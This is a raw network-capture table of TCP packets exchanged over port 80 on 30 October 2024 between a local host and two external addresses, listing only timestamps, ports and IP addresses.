Oct 30, 2024 05:24:28.622836113 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622852087 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622870922 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.622880936 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622895002 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.622915983 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622926950 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622956991 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.622967005 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622977018 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622993946 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.623002052 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.623032093 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.623110056 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.623121023 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.623137951 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.623147011 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.623270035 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.623289108 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.623303890 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.623322964 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.623327971 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.623342991 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.623353958 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.623403072 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.623413086 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.623430014 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.623441935 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.623456955 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.623465061 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.623476028 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.623485088 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.623493910 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.623507977 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.623519897 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.623524904 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.623534918 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.623552084 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.623564959 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.623575926 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.623586893 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.623594999 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.623608112 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.623617887 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.623806953 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.623821020 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.623836040 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.623843908 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.623853922 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.623871088 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.623877048 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.623886108 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.623898983 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.623908043 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.623917103 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.623933077 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.623975039 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.623984098 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.624001980 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.624022961 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.624037027 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.624291897 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.624301910 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.624321938 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.624341965 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.624361992 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.624372005 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.624388933 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.624397039 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.624418020 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.624425888 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.624437094 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.624448061 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.624465942 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.624475956 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.624488115 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.624505043 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.624516010 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.624526024 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.624542952 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.624547005 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.624557018 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.624572992 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.624577999 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.624588966 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.624602079 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.624624968 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.624641895 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.624718904 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.624794960 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.624803066 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.624821901 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.624835968 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.624841928 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.624861002 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.624892950 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.624902010 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.624918938 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.624927044 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.624938011 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.624950886 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.624963045 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.624973059 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.624990940 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.625000954 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.625022888 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.625221968 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.625231028 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.625248909 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.625257969 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.625267029 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.625287056 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.625299931 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.625304937 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.625314951 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.625330925 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.625349045 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.625354052 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.625365019 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.625374079 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.625386953 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.625396967 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.625406981 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.625416040 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.625432968 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.625439882 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.625451088 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.625461102 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.625478029 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.625487089 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.625505924 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.625689983 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.625770092 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.625781059 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.625797987 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.625808954 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.625817060 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.625823975 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.625837088 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.625852108 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.625879049 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.625895023 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.625912905 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.625920057 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.625933886 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.625945091 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.626187086 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.626194000 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.626211882 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.626220942 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.626229048 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.626246929 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.664710045 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.664747953 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.664762020 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.664782047 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.664797068 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.664815903 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.664885998 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.664900064 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.664923906 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.664935112 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.664947987 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.664956093 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.664971113 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.665005922 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.665076971 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.665086985 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.665115118 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.665124893 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.665136099 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.665143967 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.665155888 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.665165901 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.665186882 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.665262938 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.665273905 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.665292025 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.665317059 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.665344000 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.665379047 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.665457010 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.665466070 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.665472984 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.665518045 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.665532112 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.665543079 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.665571928 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.665582895 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.665591955 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.665606022 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.665637970 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.665796041 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.665818930 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.665832996 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.665873051 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.665879965 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.665894032 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.665911913 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.665955067 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.665976048 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.665997982 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.666008949 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.666026115 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.666035891 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.666043997 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.666070938 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.666076899 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.666132927 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.666152000 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.666162968 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.666184902 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.666193962 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.666203976 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.666218996 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.666244984 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.666395903 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.666407108 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.666420937 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.666445971 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.666455984 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.702521086 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.702562094 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.702577114 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.702647924 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.702661991 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.702680111 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.702717066 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.740058899 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.740094900 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.740103006 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.740112066 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.740134954 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.740144014 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.740153074 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.740179062 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.740196943 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.740207911 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.740215063 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.740228891 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.740235090 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.740279913 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.740314007 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.740319014 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.740329027 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.740367889 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.740394115 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.740402937 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.740420103 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.740456104 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.740474939 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.740490913 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.740494967 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.740504026 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.740537882 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.740742922 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.740753889 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.740767956 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.740777016 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.740808964 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.740847111 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.740910053 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.740920067 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.740953922 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.740964890 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.740976095 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.740994930 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.741002083 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741025925 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741038084 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.741044044 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741055965 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741071939 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741091013 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.741123915 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.741241932 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741251945 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741271019 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741292953 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.741331100 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741341114 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741358995 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741367102 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.741380930 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741391897 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741400957 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.741410017 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741427898 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.741466999 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741475105 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741492033 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741499901 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741514921 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.741522074 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741530895 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.741548061 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741559982 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.741564035 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741580009 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741592884 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741605997 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741611958 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.741626978 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741635084 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741651058 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741658926 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.741658926 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.741677999 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741686106 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.741698027 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741707087 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741723061 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741744995 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741753101 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.741764069 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.741770029 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741780043 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741796970 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741825104 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.741835117 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741847038 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741852999 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.741867065 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741874933 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741890907 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.741906881 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.741915941 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741925001 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741942883 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741952896 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.741966963 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.742023945 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.862021923 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:29.135910034 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:05.472022057 CET	49991	80	192.168.2.6	185.215.113.43
Oct 30, 2024 05:25:05.477443933 CET	80	49991	185.215.113.43	192.168.2.6
Oct 30, 2024 05:25:05.477586031 CET	49991	80	192.168.2.6	185.215.113.43
Oct 30, 2024 05:25:05.477665901 CET	49991	80	192.168.2.6	185.215.113.43
Oct 30, 2024 05:25:05.482997894 CET	80	49991	185.215.113.43	192.168.2.6
Oct 30, 2024 05:25:06.385257959 CET	80	49991	185.215.113.43	192.168.2.6
